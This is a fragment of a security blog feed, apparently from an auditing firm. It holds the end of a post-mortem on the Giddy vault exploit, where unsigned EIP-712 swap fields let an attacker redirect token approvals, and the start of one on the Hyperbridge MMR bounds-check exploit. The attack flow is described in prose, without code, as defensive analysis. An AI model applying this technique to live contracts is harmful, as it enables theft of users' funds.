15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The swap objects are not just metadata. They decide which token is moved, how much is approved, which contract receives the approval, and which contract is called.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OeFa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OeFa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png 424w, https://substackcdn.com/image/fetch/$s_!OeFa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png 848w, https://substackcdn.com/image/fetch/$s_!OeFa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png 1272w, https://substackcdn.com/image/fetch/$s_!OeFa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OeFa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png" width="1215" height="770" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:770,&quot;width&quot;:1215,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:190556,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/196520442?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OeFa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png 424w, https://substackcdn.com/image/fetch/$s_!OeFa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png 848w, https://substackcdn.com/image/fetch/$s_!OeFa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png 1272w, https://substackcdn.com/image/fetch/$s_!OeFa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79715648-bbe5-40b5-846d-22df98439b0a_1215x770.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The problem is that the EIP-712 hash does not cover the full <strong>SwapInfo</strong>.</p><h3><strong>The Signed Message</strong></h3><p>The declared type hash only includes <strong>nonce</strong>, <strong>deadline</strong>, top-level <strong>amount</strong>, and <strong>bytes[] data</strong>.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!roQY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!roQY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png 424w, https://substackcdn.com/image/fetch/$s_!roQY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png 848w, https://substackcdn.com/image/fetch/$s_!roQY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png 1272w, https://substackcdn.com/image/fetch/$s_!roQY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!roQY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png" width="1120" height="210" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:210,&quot;width&quot;:1120,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:51406,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/196520442?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!roQY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png 424w, https://substackcdn.com/image/fetch/$s_!roQY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png 848w, https://substackcdn.com/image/fetch/$s_!roQY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png 1272w, https://substackcdn.com/image/fetch/$s_!roQY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6463d28d-ac8e-4616-baaf-6c61cc8db2ae_1120x210.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Inside <strong>_validateAuthorization</strong>, the contract loops over the swap arrays and hashes only each swap&#8217;s <strong>data</strong> field.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7rMS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7rMS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png 424w, https://substackcdn.com/image/fetch/$s_!7rMS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png 848w, https://substackcdn.com/image/fetch/$s_!7rMS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png 1272w, https://substackcdn.com/image/fetch/$s_!7rMS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7rMS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png" width="1160" height="475" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:475,&quot;width&quot;:1160,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:100756,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/196520442?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7rMS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png 424w, https://substackcdn.com/image/fetch/$s_!7rMS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png 848w, https://substackcdn.com/image/fetch/$s_!7rMS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png 1272w, https://substackcdn.com/image/fetch/$s_!7rMS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The following fields are present in calldata but are not signed:</p><ul><li><p><strong>swap.fromToken</strong></p></li><li><p><strong>swap.toToken</strong></p></li><li><p><strong>swap.amount</strong></p></li><li><p><strong>swap.aggregator</strong></p></li></ul><p>That is the core bug.</p><p>The nonce check means this should not be described as a simple replay of an already-used signature. A successful authorization burns its nonce; the same validation path reverts when <strong>nonceUsed[auth.nonce]</strong> is already true and later marks the nonce as used.</p><p>The more precise description is: the attacker submitted a valid authorization, but rebound the unsigned swap wrapper fields to attacker-controlled values. The contract accepted the signature because the signed digest still matched.</p><h3><strong>Why the Unsigned Fields Were Dangerous</strong></h3><p>The dangerous part is in <strong>GiddyLibraryV3.executeSwap()</strong>.</p><p>These four unsigned fields control real effects:</p><ul><li><p><strong>fromToken</strong> controls which token the vault or strategy approves.</p></li><li><p><strong>amount</strong> controls how much allowance is granted.</p></li><li><p><strong>aggregator</strong> controls the spender and external call target.</p></li><li><p><strong>toToken</strong> controls which token balance is checked after the call.</p></li></ul><p>So the signature covered only <strong>swap.data</strong>, while the unsigned wrapper decided the approval and external call environment around that data.</p><p>This is like signing the inside of an envelope while letting the transaction sender rewrite the destination address, the asset, and the amount on the outside.</p><h3><strong>Attack Flow</strong></h3><p>The exploit transaction created the attacker contract and used it to interact with multiple Giddy vaults in one transaction.</p><p>At a high level:</p><ol><li><p>The attacker submitted a <strong>VaultAuth</strong> that passed <strong>_validateAuthorization()</strong>.</p></li><li><p>The attacker kept the signed <strong>data</strong> hash valid but changed unsigned <strong>SwapInfo</strong> fields.</p></li><li><p><strong>fromToken</strong> was set to real gauge tokens held by the strategy.</p></li><li><p><strong>aggregator</strong> was set to attacker-controlled <strong>0x7326...4528</strong>.</p></li><li><p><strong>executeSwap()</strong> called <strong>forceApprove(fromToken, aggregator, amount)</strong>.</p></li><li><p>The malicious aggregator used that allowance path to move the approved gauge tokens.</p></li><li><p>The fake <strong>toToken</strong> behavior satisfied the vault&#8217;s post-swap received-token check.</p></li></ol><h2><strong>The Root Cause</strong></h2><p>The root cause was incomplete signature coverage.</p><p>The contract treated <strong>SwapInfo.data</strong> as if it represented the whole swap. It did not. The actual swap identity was <strong>fromToken + toToken + amount + aggregator + data</strong>, and only one component of that tuple was signed.</p><p>Because <strong>aggregator</strong> was unsigned, the attacker could choose the call target. Because <strong>fromToken</strong> and <strong>amount</strong> were unsigned, the attacker could choose the token allowance. Because <strong>toToken</strong> was unsigned, the attacker could satisfy the output check with a fake or attacker-controlled token.</p><p>The post-call checks were not enough:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MhyC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MhyC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png 424w, https://substackcdn.com/image/fetch/$s_!MhyC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png 848w, https://substackcdn.com/image/fetch/$s_!MhyC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png 1272w, https://substackcdn.com/image/fetch/$s_!MhyC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MhyC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png" width="1215" height="675" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:675,&quot;width&quot;:1215,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:196711,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/196520442?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!MhyC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png 424w, https://substackcdn.com/image/fetch/$s_!MhyC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png 848w, https://substackcdn.com/image/fetch/$s_!MhyC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png 1272w, https://substackcdn.com/image/fetch/$s_!MhyC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b47ceb4-8499-48ce-91d2-cbfcfa992ca5_1215x675.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>These checks only prove that the selected <strong>fromToken</strong> balance decreased and the selected <strong>toToken</strong> balance increased. If the attacker can select both tokens and the aggregator, those checks are no longer meaningful security boundaries.</p><h2><strong>Conclusion</strong></h2><p>When using off-chain signatures to authorize on-chain execution, always proceed with caution. EIP-712 only protects the fields included in the signed digest. Any field left unsigned should be treated as user-controlled, because it can be altered in calldata and may become part of the exploit path.</p><p>Furthermore, conducting a security audit is strongly recommended for all projects, even though they are smart contracts, backends, wallets, or dapps.</p>]]></content:encoded></item><item><title><![CDATA[How a Missing Bounds Check Led to $237K Exploit on Hyperbridge]]></title><description><![CDATA[On April 13, 2026, an attacker minted 1 billion bridged DOT tokens out of thin air on Ethereum - and dumped them for roughly $237,000 in ETH. The target was Hyperbridge, Polytope Labs&#8217; trust-minimized interoperability protocol connecting Polkadot to EVM chains.]]></description><link>https://blog.verichains.io/p/how-a-missing-bounds-check-led-to</link><guid isPermaLink="false">https://blog.verichains.io/p/how-a-missing-bounds-check-led-to</guid><dc:creator><![CDATA[th13vn]]></dc:creator><pubDate>Thu, 16 Apr 2026 09:51:08 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!WihU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On April 13, 2026, an attacker minted <strong>1 billion bridged DOT tokens</strong> out of thin air on Ethereum - and dumped them for roughly <strong>$237,000 in ETH</strong>. The target was <strong>Hyperbridge</strong>, Polytope Labs&#8217; trust-minimized interoperability protocol connecting Polkadot to EVM chains. The culprit wasn&#8217;t a complex cryptographic attack or a sophisticated flash loan scheme, but a single missing bounds check in a Merkle Mountain Range (MMR) verification library that allowed completely forged cross-chain messages to pass as legitimate.</p><p>What makes this incident particularly ironic? Just twelve days earlier, on April 1, Hyperbridge had published a satirical post joking about suffering a catastrophic exploit - boasting their protocol was &#8220;un-hackable.&#8221; Reality had other plans.</p><ul><li><p><strong>Date:</strong> April 13, 2026, 03:39 &#8211; 05:08 UTC</p></li><li><p><strong>Protocol:</strong> Hyperbridge / ISMP Token Gateway (Ethereum)</p></li><li><p><strong>Loss:</strong> ~$237,000 (108.2 ETH)</p></li><li><p><strong>Root Cause:</strong> Missing <code>leaf_index &lt; leafCount</code> bounds check in MMR proof verification</p></li><li><p><strong>Attacker:</strong> <code>0xC513E4f5D7a93A1Dd5B7C4D9f6cC2F52d2F1F8E7</code></p></li><li><p><strong>Tokens Affected:</strong> DOT (1B), ARGN (999B), MANTA (211K), CERE (23B)</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WihU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WihU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png 424w, https://substackcdn.com/image/fetch/$s_!WihU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png 848w, https://substackcdn.com/image/fetch/$s_!WihU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png 1272w, https://substackcdn.com/image/fetch/$s_!WihU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WihU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png" width="1456" height="534" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:534,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:550924,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/194386206?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WihU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png 424w, https://substackcdn.com/image/fetch/$s_!WihU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png 848w, https://substackcdn.com/image/fetch/$s_!WihU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png 1272w, https://substackcdn.com/image/fetch/$s_!WihU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7cfbea8-aed8-4b55-b150-03b7f95a2748_2806x1030.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg 